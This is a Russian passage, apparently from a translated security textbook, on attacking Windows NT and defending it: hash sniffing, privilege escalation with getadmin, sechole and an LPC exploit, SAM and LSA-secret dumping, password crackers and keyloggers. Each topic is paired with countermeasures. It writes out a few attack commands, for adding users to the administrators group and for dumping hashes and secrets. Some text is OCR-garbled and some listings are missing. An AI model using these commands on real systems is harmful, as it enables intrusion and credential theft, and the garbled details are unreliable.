UNIX позволяют зарегистрироваться на клиентских системах NT с использованием лишь хэш-кода.
Контрмеры: запрещение аутентификации в локальной сети В сервисном пакете Service Pack 4.0 была добавлена поддержка нового параметра системного реестра, призванного запретить узлу NT выполнять аутентификацию в локальной сети (с использованием хэш-кодов LM). Для того чтобы воспользоваться этой возможностью, нужно добавить параметр LMCompatibilityLevel со значением REG_DWCRD=4 к следующему ключу системного реестра. HKEY_LOCAL_MACHINE\System\CurrentControlSet\LSA До появления сервисного пакета SP4 не было возможности запретить обработку хэш-кодов LМ на узле NT, используемых для аутентификации. Как следствие, такие узлы абсолютно не защищены от опасности перехвата SMB-пакетов. С выходом новой операционной системы Win 2000 компания Microsoft предоставила другую возможность передачи регистрационных данных по локальной сети клиентами Win Эх. Ее предоставляет клиент службы каталогов (DSClient — Directory Services Client), который можно найти на установочном компакт-диске системы Windows 2000 в папке Clients\win9x (файл Dsclient.exe). Теоретически пользователи Win 9x могут установить специальные параметры системного реестра и использовать более надежную защиту благодаря использованию хэш-кодов NT. В статье Q239869 описывается, как установить программу DSClient и настроить клиентов Win 9л: для использования протокола идентификации NTLM версии 2. Использование подписи SМВ Хотя полностью защититься от атак с использованием хэш-кодов нельзя, можно наложить некоторые ограничения на удаленную регистрацию в системе Windows с помощью подписи SMB (SMB signing). Такая возможность появится в системе NT, если на ней установить сервисный пакет SP3 или более поздний. Здесь мы упоминаем этот механизм исключительно для обеспечения полноты изложения. При использовании подписи SMB каждый пакет 8MB, передаваемый правильно настроенными клиентами и серверами NT, будет проверяться с применением криптографических методов. Это позволит предотвратить вставку в поток данных регистрации пакетов взломщика. Как и ранее, это решение годится только для Windows NT, так как клиенты Win 9x не поддерживают описанный выше механизм. Кроме того, как отмечается в статье Q161372 базы знаний Microsoft, посвященной режиму использования подписи SMB, активизация этого средства влечет за собой снижение производительности на 10-15 %. |
Удаленное проникновение: состояние DoS и переполнение буфера В этом разделе мы немного поговорим о том, как может разворачиваться ситуация в том случае, если взломщику не удастся подобрать пароль к интересующей его системе. В таких случаях у него есть несколько возможностей. Первая из них состоит в поиске скрытого недостатка архитектуры NT, которым можно было бы воспользоваться для удаленного проникновения и получения доступа к системе. Вторая заключается в генерации состояния DoS (DoS — отказ в обслуживании), — последней надежды неудачливого взломщика. Удаленное переполнение буфера О Windows NT ходят легенды, что в ней существуют многочисленные секретные "лазейки", с помощью которых можно получить статус администратора любой удаленной системы. На самом деле в настоящее время известно лишь несколько подобных недостатков, которые при определенных условиях могут дать подобный эффект, однако все они относятся к приложениям, а не к самой системе Windows NT. Чем это объясняется, то ли относительной "молодостью" NT, то ли архитектурой, заложенной в нее разработчиками Microsoft, — это спорный вопрос. Таблица 5.3. Некоторые публикации о выявленных ошибках переполнения буфера Windows
Контрмеры: защита от переполнения буфера Лучшим ответом на атаки с применением переполнения буфера является профессиональное программирование. Упоминавшиеся выше статьи предоставляют опытному программисту некоторые идеи, реализация которых позволит избежать подобной угрозы при написании приложений (при их изучении пригодится знание языка С и низкоуровневого языка программирования Assembler). Однако поскольку создание программных продуктов, подобных системе Windows, выполняется практически без непосредственного участия пользователей, то ответственность за устранение выявленных проблем должна ложиться на плечи группы разработчиков.
Замещение системных динамически подключаемых библиотек для предотвращения переполнения буфера является несколько кардинальным, однако все же такой подход, очевидно, достоин внимания. Отказ в обслуживании (DoS) Атаки, приводившие к генерации состояния DoS, были чрезвычайно популярны в 1997-1998 годах, что объясняется появлением многочисленных утилит, предназначенных для повреждения стека TCP/IP на самых различных платформах. Некоторые из них были направлены исключительно на систему Windows. Мы не будем тратить время на описание всех используемых при этом недостатков реализации стека протоколов TCP/IP, поскольку все они уже устранены в пакетах обновления. Кроме того, обсуждению атак DoS посвящена целая глава (см. главу 11, а также часть главы 4, где были рассмотрены методы предотвращения подобных угроз для платформы Win 9х). Контрмеры: предотвращение состояния DоS Установка самого последнего сервисного пакета (при написании книги — версии 6А) позволяет защитить систему NT от большинства известных способов генерации состояния DoS. Кроме того, следите также за появлением промежуточных пакетов обновления, особенно, если они относятся непосредственно к стеку протоколов TCP/IP систем NT/2000, tcpip.sys. (Естественно, обновление используемой операционной системы до Win 2000 позволяет достигнуть того же результата.) Многие серьезные атаки DoS, связанные с применением средств land, newtear и ООВ, стали недоступными после установки промежуточных пакетов обновления, появившихся после SP3. Конечно, обновление до Win 2000 представляет собой самый лучший сервисный пакет, в котором нашли отражение все выпущенные ранее пакеты обновления. Для получения более подробной информации о ключах системного реестра, с помощью которых от атак DoS можно защитить серверы Internet под управлением Windows, читайте главу 6. Мы рекомендуем познакомиться также с другими программными продуктами, направленными на предотвращение атак DoS на стек TCP/IP, таких как teardrop, land, OOB и т.д. Они подробно рассматриваются в главе 12. Расширение привилегий Предположим, что попытка подбора пароля увенчалась успехом — в ваших руках регистрационное имя и связанный с ним пароль пользователя интересующего вас сервера NT, не имеющего прав администратора. В мире NT шаг, заключающийся в получении доступа к системе в качестве одного из ее пользователей, несмотря на всю его сложность, является сравнительно простым. Последующие шаги потребуют гораздо больших знаний, изобретательности и везения. Так, например, существуют средства, позволяющие расширить полномочия, соответствующие пользовательской учетной записи. Однако, как уже отмечалось, этим средствами нельзя воспользоваться, обладая правами лишь обычного пользователя NT, так как такой пользователь по умолчанию не имеет права интерактивной регистрации. Однако если системный администратор допустил несколько серьезных промахов, с помощью этих средств взломщик сможет расширить свои полномочия. Сбор информации Если взломщику удалось завладеть учетной записью пользователя, не обладающего правами администратора, то единственной реальной возможностью, которой ему осталось воспользоваться, является дальнейший сбор информации, которая позволит расширить привилегии. В процессе сбора таких данных используются многие методы инвентаризации, которые уже упоминались в главе 3. Анализируя все полученные сведения, взломщик может получить доступ к критичным ресурсам. Вот некоторые из средств и приемов для сбора важных данных.
Этот процесс высасывания (hoovering) информации из всех "закоулков" получил свое определение в английском языке по названию производителя популярных пылесосов. Контрмеры: защита от сбора информации Для проверки степени защищенности системы от деятельности подобного рода лучше всего попробовать выполнить описанные действия самостоятельно. Для этого зарегистрируйтесь на удаленном компьютере под именем обычного пользователя и проверьте, удастся ли такому пользователю выполнить описанные выше операции. Автоматизировать процесс поиска можно с использованием команд find и findstr системы NT. Утилита getadmin getadmin — это небольшая программа, написанная Константином Соболевым (Konstantin Sobolev), которая добавляет пользователя в локальную группу Administrators. Она использует низкоуровневую процедуру ядра NT для установки глобального флага, позволяющего получить доступ к любому запущенному процессу, а затем с помощью приема, называемого внедрение в DLL (DLL injection), вставить специальный исполняемый код в какой-нибудь процесс, который обладает привилегией добавления пользователей в группу Administrators. (Как правило, в качестве такого процесса выбирается winlogon, который использует учетную запись System). Более подробная информация об утилите getadmin и ее исполняемый код можно найти по адресу http://www.ntsecurity.net/security/getadmin.htm. Контрмеры: защита от использования ynunnugetadmin Изъян, на котором основывается принцип работы утилиты getadmin, исправлен в дополнительном модуле обновления к сервисному пакету SP 3. Этот модуль входит также во все впоследствии выпущенные сервисные пакеты. Согласно некоторым источникам, модернизированная версия утилиты getadmin, названная crash4, способна обойти исправления, если она будет запушена перед getadmin. Однако нет каких-либо подтверждений, что этот прием является работоспособным. Утилита sechole Утилита sechole предоставляет те же возможности, что и getadmin: она добаштяет текущего пользователя в локальную группу администраторов. Обновленная версия этой утилиты secholed помещает пользователя в группу администраторов домена.) Однако для выполнения тех же действий, что и getadmin, эта утилита использует другие механизмы. Как отмечают Прасад Дабак (Prasad Dabak), Сандип Фадк (Sandeep Phadke) и Милинд Бора (Milind Borate), sechole модифицирует в оперативной памяти код вызова процедуры OpenProcess, и это позволяет ей успешно подключаться к привилегированному процессу, независимо от того, имеет ли она для этого соответствующие разрешения. После успешного подключения она работает так же, как и утилита getadmin, выполняя код внутри процесса-носителя, и добавляет текущего пользователя в указанную группу Administrators. Полный код и подробное описание можно найти на Web-узле NT Security по адресу http://www.ntsecurity.net/security/sechole.htm. Удаленный запуск утилиты sechole Рассмотрим пример применения основного подхода, используемого при нападении на Web-серверы, который в различных формах применяется в Internet. Успешность такой атаки зависит от того, существует ли каталог US-сервера, доступный для записи и запуска программ. К счастью, компания Microsoft "предоставила" много каталогов с такими разрешениями, используемыми по умолчанию. Таблица 5.4. Виртуальные каталоги сервера US, имеющие по умолчанию разрешения Execute, к соответствующие им физические каталоги
Однако не будем торопиться. Выше уже упоминалось, что утилита sechole добавляет пользователя в локальную или доменную группу администраторов. Если же она была запущена посредством Web-броузера, то в группу администраторов будет добавлена учетная запись 1изп_имя_машины. А это не очень хорошо, поскольку этой учетной записи назначается случайный пароль, который взломщику придется подбирать при удаленной регистрации. Как же в группе администраторов создать новую учетную запись пользователя с паролем, который выбрал сам взломщик? Это просто осуществить с помощью встроенной команды net localgroup. Создайте простой командный файл (например, с именем adduser.bat) со следующей строкой:
Далее вместо того чтобы регистрироваться с использованием учетной записи IUSR, пароль которой пока неизвестен, взломщик добавит нового пользователя с помощью файла сценария adduser.bat, запущенного в броузере с использованием следующего сложного адреса URL. Контрмеры: защита от применения утилиты sесhо1е Существует два простых метода защиты как от утилиты sechole, так и от удаленного выполнения команд в Web. Во-первых, установите самый последний сервисный пакет (6А или более новый). Для систем, на которых установлен сервисный пакет SP5, можно воспользоваться модулем обновления. Более подробную информацию можно получить в статье KB Q190288. Затем, независимо от того, волнует ли вас проблема sechole или нет, запретите доступ для записи в каталоги сервера Internet, в которых содержатся исполняемые файлы (см. табл. 5.4). Для этого проще всего заблокировать доступ к портам TCP и UDP сервера с номерами 135-139 и, таким образом, исключить доступ к совместно используемым ресурсам Windows. Если доступ с использованием протокола SMB заблокирован, обязательно убедитесь в том, отключен также доступ на запись по протоколу FTP.
После щелчка на кнопке Edit Properties на экране появится диалоговое окно, показанное на следующем рисунке.
Менее известный способ расширения привилегий, обеспечиваемый утилитой besysadm, появился после выпуска сервисного пакета Service Pack 5. Информацию о соответствующем модуле обновления можно найти по адресу http://www. microsoft.cam/technet/eecurity/bullatin/ms99-006.asp
Ложные запросы к портам LPC Такую возможность обнаружила группа исследователей RAZOR (http://razor. bindview.com) и предоставила авторам проверочный код, который, однако, не был открыт для широкого использования. В приведенном коде иллюстрируется изъян одной из функций интерфейса с портами LPC (Local Procedure Call — локальный вызов процедур), который позволяет потокам и процессам на локальном узле взаимодействовать друг с другом. Обычно порты LPC обеспечивают интерфейс между потоком сервера и клиентными потоками, которые генерируют запросы на использование служб. Кроме того, порты LPC выполняют проверку легитимности клиента. Однако взломщик, у которого имеется возможность создать оба потока, и сервера и клиента. может обойти такую проверку и связать клиентный поток с любым пользователем, даже имеющим привилегии SYSTEM. С:\>whoami Кроме того, удостоверимся в том, что пользователь Mallory не может добавить себя п группу администраторов самостоятельно. C:\>net looalgroup administrators mallory /add Теперь воспользуемся командой net use совместно с утилитой hk. C:\>hk net localgroup administrators mallory /add Теперь Мэлори (Mallory) принадлежит к группе администраторов, как видно из приведенного листинга. C:\>net localgroup administrators
Применяйте модули обновления! Компания Microsoft выпустила модуль обновления сервисного пакета SP6A, который изменяет вызов функции проверки достоверности, входящей в состав программного интерфейса с портами LPC. Этот модуль обновления можно найти в бюллетене MS00-003 компании Microsoft по адресу http://www.microsoft.com/technet/security/bulletin/ms00-003.asp. "Троянские кони" и параметры реестра Основной принцип расширения привилегий заключается в том, чтобы ввести в заблуждение других пользователей (лучше всего администратора) и выполнить код, который позволит учетной записи взломщика получить привилегии суперпользователя. Аналогичный подход состоит во внедрении какого-либо кода, который будет выполнен при наступлении некоторого обычного события в системе (например, в процессе перезагрузки). Обе из этих стратегий, а также методы борьбы с ними, обсуждаются ниже. Многие из описанных ниже методов гораздо глубже и полнее освещаются на страницах прекрасного Web-узла Security Bugware, которые можно найти по адресу http://Oliver.efri.hr/-crv/security/bugs/NT/getadmt#].html, где # — числа от 2 до 7.
"Троянские кони" и расширение привилегий "Троянский конь" (Trojan horse) — это программа, которая предоставляет некоторые полезные функции, однако на самом деле предназначена для скрытного выполнения злонамеренных или разрушительных действий (для получения более подробной информации читайте главу 14). От одной только мысли о возможностях, открывающихся при переименовании стандартных утилит NT, голова идет кругом! Например, вместо программы regedit.exe взломщик может поместить в каталог winnt\system32 командный файл regedit.cmd. Когда ничего не подозревающий администратор введет в командной строке regedit, чтобы выполнить какие-то операции с системным реестром, будет запущен командный файл. Обычно с его помощью выполняется тот или иной вариант следующей команды. net localgroup administrators <пользователь> /add Контрмеры: защита от "троянских коней" Хотя предлагаемые контрмеры и не обеспечивают стопроцентной защиты, все же будьте внимательны при запуске приложений. Обращайте внимание на различные аномалии (например, быстро промелькнувшее окно командной строки в момент вызова полноценной программы Windows). Подсистема защиты файлов системы Win 2000 (WFP — Windows File Protection) обеспечивает хранение резервных копий около шестисот важных файлов в каталоге %windir% и предотвращает их от перезаписи. Поскольку "троянских коней" очень трудно обнаружить (особенно те из них, которые выполняют модификацию самого ядра NT), стоит поддерживать максимальные меры предосторожности. А именно, создавайте резервные копии своих данных, переустанавливайте операционную систему и все приложения только с проверенных носителей информации. Некоторые из наиболее коварных "троянских коней", называемых наборами rootkit, будут рассмотрены ниже в данной главе. Параметры реестра, обеспечивающие выполнение программ Еще одним хорошим методом скрытого запуска командного файла является использование специальных значений в системном реестре NT. В зависимости от разрешений пользователя, под именем которого взломщик проник в систему, ему могут быть доступны некоторые из таких параметров системного реестра. Помните, что удаленный доступ к системному реестру могут получить только администраторы, а на консоли сервера могут зарегистрироваться лишь несколько пользователей из встроенных учетных записей NT. Поэтому вероятность того, что взломщику удастся воспользоваться описанным здесь способом, очень мала. Ему повезет только в том случае, когда используемая им учетная запись входит в группу Server Operators. В табл. 5.5 перечислены некоторые параметры системного реестра и разрешения, установленные для них по умолчанию, которыми могут воспользоваться взломщики для запуска программ. Таблица 5.5. Параметры системного реестра, которые можно использовать для вызова программ, расширяющих привилегии пользователя
Защита параметров системного реестра С использованием редактора системного реестра regedt32 для этих параметров необходимо задать следующие разрешения.
Подобная настройка может повлиять на работоспособность некоторых приложений. Поэтому сначала удостоверьтесь, что внесенные изменения не отразились на функциональности системы. Кроме того, не забывайте о том, что описанные выше параметры системного реестра зачастую используются для скрытого запуска приложений во время загрузки, о чем более подробно вы узнаете ниже в данной главе. Несколько заключительных слов о расширении привилегий Теперь у вас не вызывает сомнений тот факт, что расширить привилегии чрезвычайно сложно. Единственное, что может помочь взломщику, — это грубые ошибки в настройке системы или же получение доступа к учетной записи, которая и так обладает достаточно высокими привилегиями (например, является членом группы Server Operators). Далее мы рассмотрим самый худший (с точки зрения безопасности) сценарий -— взломщик получил доступ к системе на уровне администратора. |
Расширение привилегий У вас может возникнуть вопрос: "Стоит ли читать, что может произойти, когда кто-то получит права администратора на моем компьютере? И так все ясно!" Не спешите с выводами — отформатировать жесткий диск и переустановить систему с установочных дисков вы всегда успеете. Гораздо важнее попытаться установить, какие ресурсы были использованы взломщиком и как далеко ему удалось продвинуться. Взломщик мог назначить привилегии администратора локальной системы какому-нибудь пользователю, не имеющему практически никаких прав для доступа к другим компьютерам сети. Поэтому ему, скорее всего, понадобится установить в сети дополнительные средства, с помощью которых он мог бы расширить свои полномочия. Выявить взломщика на этом этапе и остановить его проникновение не только возможно, но и жизненно необходимо. В данном разделе вы найдете подробное описание некоторых основных средств и методов, используемых в этой чрезвычайно важном "финальном поединке" взломщика и системного администратора. Взлом базы данных SAM Получив привилегии администратора, взломщик, скорее всего, сразу же направится к диспетчеру SAM системы NT (SAM — Security Accounts Manager). В базе данных SAM содержатся имена и зашифрованные пароли всех пользователей локального узла или домена, если взламываемая система является контроллером. Поэтому данные SAM — наиболее вожделенная цель для нанесения завершающего удара, подобная файлу /etc/passwd из мира UNIX. Даже если база данных SAM получена с автономной станции NT, существует шанс получения с ее помощью доступа к контроллеру домена. Таким образом, взлом диспетчера SAM — это один из наиболее мощных методов расширения привилегий и использования доверительных отношений. Получение базы данных SAM При осуществлении любых попыток взлома первый этап состоит в получении файла паролей, который в случае NT называется файлом данных SAM. Перезагрузка с помощью альтернативной операционной системы Для того чтобы перезагрузиться с использованием другой операционной системы, достаточно подготовить системную дискету с DOS. Если на жестком диске интересующего вас компьютера установлена файловая система NTFS, то на эту дискету необходимо поместить соответствующий драйвер NTFS, называемый NTFSDOS, от компании Systems Internals (http://www.sysinternals.com/). С помощью этого драйвера все разделы NTFS будут смонтированы в качестве логических дисков DOS, после чего не останется никаких препятствий для копирования файла SAM. Извлечение резервной копии файла SАМ из каталога Repair При каждом запуске утилиты NT Repair Disk Utility (rdisk) с параметром /s, который активизирует режим резервного копирования важной системной информации, создается сжатая версия базы данных SAM, которая помещается в каталог %systemroot%\repair под именем Sam._. После завершения копирования важных данных на аварийную дискету многие системные администраторы не утруждают себя задачей удаления этого файла. С:\>expand sam._sam
Извлечение хэш-кодов из данных SAM При наличии привилегий администратора кэш-коды паролей можно легко получить непосредственно из системного реестра в формате, подобном формату файла /etc/passwd UNIX. Для этого можно воспользоваться утилитой pwdump, написанной Джереми Аллисоном (Jeremy Allison). Исходный код этой утилиты и ее откомпилированные версии для Windows можно найти в архивах Internet. Новые версии утилиты LOphtcrack также имеют подобное встроенное средство. Однако ни pwdump, ни LOphtcrack не способны преодолеть расширенное шифрование файла SAM с использованием ключа SYSKEY, появившееся после выпуска сервисного пакета Service Pack 2 (для получения более подробной информации читайте раздел "Контрмеры: Защита От Взлома Пароля" ниже в этой главе). Тодд Сабин написал обновленную версию утилиты pwdump2, после установки которой идентификатор РЮ процесса LSASS можно получить автоматически. Поэтому пользователям обновленной версии выполнять этот шаг вручную не требуется. Однако сейчас мы сосредоточимся на обсуждении основной концепции получения идентификаторов процессов, которую потребуется использовать в тех случаях, когда обновленная версия утилиты pwdump2 отсутствует. Воспользуемся утилитой pulist из NTRK и, объединив ее с утилитой find, получим идентификатор процесса lsass.exe, как показано в следующем примере. D:\>pulist | find "lsass" Теперь можно запустить утилиту pwdump2, передав ей в качестве параметра полученный идентификатор PID 50. По умолчанию результаты выводятся на экран (в приведенном выше примере они показаны в сокращенной форме), однако их легко перенаправить в файл. Пом- D:\>pwdump2 50 Из данного примера видно, что выводятся такие поля, как имя пользователя, относительный идентификатор RID (см. главу 3), хэш-код LanMan и кэш-код NT I последний выведен только частично). Все поля отделяются друг от друга двоеточием. Направив вывод в файл, можно получить готовые исходные данные для многих средств взлома паролей системы NT. Самая последняя версия утилиты pwdump2 позволяет также извлекать хэш-коды из базы данных активного каталога.
Перехват данных о пользовательских именах и паролях, передаваемых по сети Одной из сильных сторон утилиты LOphtcrack является возможность извлекать \эш-коды паролей прямо из SMB-пакетов, передаваемых по сети. Этот подход уже рассматривался в одном из предыдущих разделов, посвященных подбору паролей. Взлом паролей NT В данном разделе вы познакомитесь с тремя утилитами, предназначенными для взлома паролей системы NT. Хотя наиболее известной является утилита L0phtcrack, здесь мы рассмотрим и некоторые другие средства. L0phtcrack Версию утилиты L0phtcrack с графическим интерфейсом, распространяемую исследовательской лабораторией компании ©stake по цене S100, можно найти по адресу http://www.atstake.com. Для сохранения душевного покоя системного администратора это совсем недорого. Во время написания этой книги была выпущена бета-версия 3 утилиты L0phtcrack — первое существенное обновление программы за последние два года. Текущее состояние процесса подбора пароля можно в любой момент сохранить в файле с расширением .1с. Поэтому работа утилиты L0phtcrack может быть безболезненно прекращена, а затем возобновлена с того же места с помощью команды File>Open Password File.
John-потрошитель John — это программа взлома паролей с использованием словаря. Ее можно получить по адресу http://www.false.com. Первоначально эта утилита командной строки была создана для взлома файлов паролей системы UNIX, а теперь ее можно использовать для подбора хэш-кодов LanMan системы Windows NT. Помимо того, что John совместима с несколькими платформами и позволяет применять несколько разных алгоритмов шифрования, эта утилита отличается также высокой скоростью работы и тем, что распространяется бесплатно. С другой стороны, ее широкие возможности и, соответственно, большой набор параметров командной строки, делают эту утилиту более сложной в освоении, чем L0phtcrack. Кроме того, поскольку утилита John может взламывать лишь пароли LanMan, то полученные результаты необходимо проверять на соответствие прописных и строчных букв (пароли LanMan всегда переводятся в верхний регистр, тогда как в паролях NT используются как прописные, так и строчные буквы). Crack 5 с расширением для NT Утилита crack, написанная Алеком Маффетом (Alec Muffet), изначально предназначалась для взлома файлов паролей системы UNIX. Однако со временем для нее было создано расширение, которое позволило использовать эту утилиту и для взлома паролей NT (http://www.sun.rhbnc.ac.uk/~phacl07/c50a-nt-0.20.tgz). Самое большое преимущество использования утилиты crack состоит в очень широком разнообразии проверяемых ею вариаций возможных паролей (включая более 200 вариантов, основанных на имени пользователя). Однако все преимущества утилиты crack будут сведены на нет, если у вас отсутствует опыт работы в системе UNIX, необходимый для ее установки и запуска. Контрмеры: защита от взлома пароля
Строгие правила выбора пароля Никакие технические средства не смогут обеспечить гарантированную защиту от взлома пароля. Они необходимы для создания эффективной защиты, но одних лишь технических средств недостаточно. Самым эффективным и вместе с тем трудно реализуемым средством был и остается правильный выбор пароля. Пользователи, выбирающие легко угадываемые пароли или записывающие их на обратной стороне клавиатуры, по-видимому, еще долго будут оставаться источником головной боли администраторов. Надеемся, что приведенное ниже описание некоторых скрытых недостатков, имеющихся в алгоритмах защиты паролей NT, сможет помочь вам в разъяснении пользователям необходимости строгого соблюдения ваших требований.
Данный пример наглядно демонстрирует, как относительно просто угадать казалось бы довольно сложный пароль LMH, зная его вторую половину. Таким образом, мы получаем парадокс: при данном подходе 12- и 13-символьные пароли могут оказаться менее надежными, чем 7-символьные, так как взломщик, зная вторую половину длинного пароля, может догадаться о том, из каких символов состоит первая половина, как это было показано в рассмотренном примере. Пароль, состоящий из восьми символов, вряд ли даст взломщику много информации, однако он, пусть только теоретически, не столь надежен, как 7-символьный пароль. Защита базы данных SAM Ограничение доступа к файлу SAM — это также один из важнейших методов зашиты. Физическое ограничение доступа к серверу является единственным методом воспрепятствовать злоумышленнику скопировать файл SAM, загрузившись с дискеты, или скопировать резервную копию этого файла из папки Repair. Надеемся, что о том, чтобы контролировать все случаи регистрации на сервере под именем Administrator, напоминать не нужно. Шифрование SYSKEY Расширенное SYSKEY-шифрование данных SAM было разработано вскоре после выхода сервисного пакета Service Pack 2. Такой алгоритм позволяет установить шифрование паролей с помощью 128-битового ключа (по умолчанию используется 40-битовый ключ). Для включения режима шифрования необходимо выбрать команду Starts Run и ввести в поле ввода появившегося диалогового окна Run команду syskey. Режим шифрования SYSKEY можно настроить с использованием нескольких основных параметров, как показано на следующих двух рисунках. При включении режима SYSKEY ключ шифрования паролей, в свою очередь, кодируется с помощью системного ключа, который может храниться как локально (защищенный паролем), так и на гибком диске. Если вы чрезвычайно обеспокоены обеспечением безопасности, выберите второй вариант, но учтите при этом, что в большой сети это потребует дополнительных затрат на сохранение всех ключей на гибких дисках. Кроме того, как мы увидим несколько позже, существуют средства, позволяющие обойти и режим шифрования SYSKEY. Однако даже небольшой барьер, оказавшийся на пути взломщика, повышает безопасность сети. По крайней мере злоумышленнику придется хорошо потрудиться, чтобы взломать пароли. Группа исследователей RAZOR обнаружила изъян в реализации алгоритма шифрования SYSKEY, описание которого можно найти по адресу http://razor.-bindvi6w.com/publish/advisories/adv_WinNT_syskey.htinl. Если вы решили воспользоваться этим алгоритмом, то установите также модуль обновления, который можно получить по адресу http://wvw.microsoft.com/teohnet/ security/bulletin/ms99-056.asp. Если взломщики имеют безнадзорный физический доступ к компьютеру с системой NT/2000, то они без проблем могут загрузиться с использованием другой операционной системы и аннулировать пароль учетной записи администратора, удалив файл SAM, либо добавить пароль для любой имеющейся учетной записи. Этот прием позволяет полностью обойти алгоритм шифрования SYSKEY. Лишь при использовании режима защиты с использованием пароля или при хранении системного ключа на гибком диске можно несколько повысить уровень защиты. Более подробная информация по этому вопросу содержится в разделе главы 6, который посвящен утилите chntpw.
Аудит доступа к базе данных SAM Зачастую бывает довольно трудно выявить факт извлечения информации о паролях с вашего узла NT. Одной из возможностей, призванных помочь в решении этой проблемы, является аудит системы NT, обеспечивающий наблюдение за доступом к параметрам реестра, связанных с SAM. Однако на практике это средство мало что может сделать, поскольку к этим параметрам имеют доступ очень многие служебные процессы (например, диспетчер пользователей). Но несмотря на то, что само по себе решение не очень хорошее, некоторые технические аспекты настройки контроля доступа к SAM заслуживают внимания. |
Использование доверительных отношений Для того чтобы "получить в свое распоряжение" домен, недостаточно обладать правами администратора на одном из компьютеров сети. Фактически в больших сетях многие серверы NT являются независимыми серверами приложений (т.е. компьютерами, которые используются конечными пользователями, но работающие под управлением операционной системы Windows NT Server, а не NT Workstation), а не контроллерами доменов, на которых хранятся копии базы данных SAM домена. Однако в распоряжении взломщика имеется несколько способов получения информации от автономного сервера, на основании которой можно получить доступ ко всему домену. Дублирование данных учетных записей администраторов домена и локальной системы Самым простым методом проникновения является использование довольно распространенной порочной практики администрирования, заключающейся в хранении данных о пользователях домена на отдельных компьютерах, работающих под управлением NT Server или Workstation. В идеальной ситуации никто не должен обладать правом регистрации на рабочей станции NT как Local Administrator с тем же паролем, что и Domain Admin. To же самое относится и к созданию локальной учетной записи с теми же пользовательским именем и паролем, которые используются в учетной записи на уровне домена. Однако в реальности такая практика является, скорее, правилом, а не исключением. Подобный один-единственный изъян в системе защиты может привести к созданию "лазеек" для проникновения в домен NT, с чем нам не раз приходилось сталкиваться при тестировании различных сетей.
Контрмеры против дублирования данных учетных записей Самой лучшей защитой от таких "подводных камней" является использование сложных паролей для всех учетных записей группы администраторов домена и их последующее регулярное изменение (не реже, чем один раз в месяц). Кроме того, пользовательские учетные записи не должны использоваться для выполнения административных функций. Если в этом есть необходимость, создайте для таких пользователей специальные учетные записи и установите режим их аудита. Например, вместо того чтобы вносить учетную запись jsmith в группу Domain Admins, создайте учетную запись jsmitha с соответствующим уровнем привилегий. (Обратите внимание, что не стоит создавать учетные записи вида isadmin, поскольку они сразу же привлекут внимание взломщика.) Встроенная команда runae Windows 2000 предоставляет более простой способ запуска приложений с необходимыми привилегиями. Например, следующая команда runas запускает сеанс командной оболочки, работающий в контексте учетной записи Administrator домена DOMAIN2. runas /user:domain2\administrator cmd.exe Атака на секреты LSA Эта атака может послужить одним из самых ярких примеров той опасности, к которой может привести хранение регистрационных данных в незашифрованном виде. Такая информация вместе с некоторыми другими важными данными хранится системой NT во многих местах. Процесс получения конфиденциальной информации носит название атаки на секреты подсистемы защиты LSA (Local Security Authority). Эту информация определяется параметром системного реестра HKEY_LOCAL_MACHINE\-SECURITY\Policy\Secrets. К секретам LSA относятся следующие данные.
Очевидно, что такие сведения, как пароли учетных записей служб, запушенных с привилегиями пользователей домена, информация о последних регистрировавшихся пользователях, пароли доступа рабочих станций к домену и так далее могут оказать взломщику существенную помощь в исследовании структуры домена. D:\Toolbox>lsadump2 $MACHINE.ACC Как видно из приведенного фрагмента, в полученных данных содержится пароль учетной записи домена, а также два пароля, связанных с учетными записями службы SQL, которые извлечены из данных LSA. Контрмеры: защита секретовLSA К сожалению, компания Microsoft не сказала ничего оригинального, заявляя, что к подобной информации администратор имеет доступ в соответствии с принятой архитектурой. В статье базы знаний KB Q184017 описывается модуль обновления, предназначенный для исправления изъянов исходной версии подсистемы LSA. После его установки с помощью шифрования SYSKEY кодируются хранящиеся на компьютере пароли учетных записей служб, кэшируемые данные для регистрации в домене, а также пароли рабочей станции. Параметры реестра, предназначенные для автоматической регистрации Систему NT можно настроить таким образом, чтобы при загрузке выполнялась автоматическая регистрация в системе. Для этого используется параметр системного реестра HKLM\SOFWTARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon. Автоматическая регистрация может оказаться полезной в тех редких случаях, когда неже- Контрмеры против автоматической регистрации Для того чтобы запретить автоматическую регистрацию, удалите значение параметра DefaultPassword. Кроме того, нужно удалить значение параметра AutoAdmin Logon или установить его равным 0. Регистраторы нажатия клавиш Если все остальные попытки взломщика, имеющего статус администратора локальной системы, получить аналогичные привилегии в домене не увенчались успехом, он может попытаться пойти самым простым путем: установить регистратор нажатия клавиш (keystroke logger). Так называются программы, которые скрытно от пользователя перехватывают все нажатия клавиш и, прежде чем передать их операционной системе, записывают в скрытый файл на диске. Рано или поздно какой-нибудь пользователь, зарегистрировавшись в системе, оставит соответствующий "отпечаток" своего имени и пароля в файле программы-регистратора. За несколько недель работы утилита IKS, как правило, перехватывает хотя бы одну пару "имя пользователя/пароль" уровня домена, которые обычно находятся после записи, сгенерированной при нажатии <Ctrl+Alt+Del>. Контрмеры: защита от программ-регистраторов Обнаружить программы-регистраторы не так-то просто. Это объясняется тем, что они внедряются в систему на низком уровне. Что касается IKS, мы рекомендуем поискать в системном реестре параметр LogName, который должен находиться где-то в группе параметров HKLM\SYSTEM\CurrentControlSet\Services. Значением этого параметра является путь к журналу регистрации нажимаемых клавиш. Параметр, в котором находится данное значение, можно безболезненно удалить (естественно, соблюдая обычные предосторожности, связанные с редактированием системного реестра). Для обнаружения же самого драйвера IKS требуется обладать в какой-то степени навыками сыщика, чтобы распознать его среди прочих файлов . sys, хранящихся в каталоге %systemroot%\system32\drivers. Самым простым методом является проверка свойств каждого файла. Во вкладке Version диалогового окна свойств IKS будет указано IKS NT4 Device Driver, а в качестве внутреннего имени — iksnt. sys. |
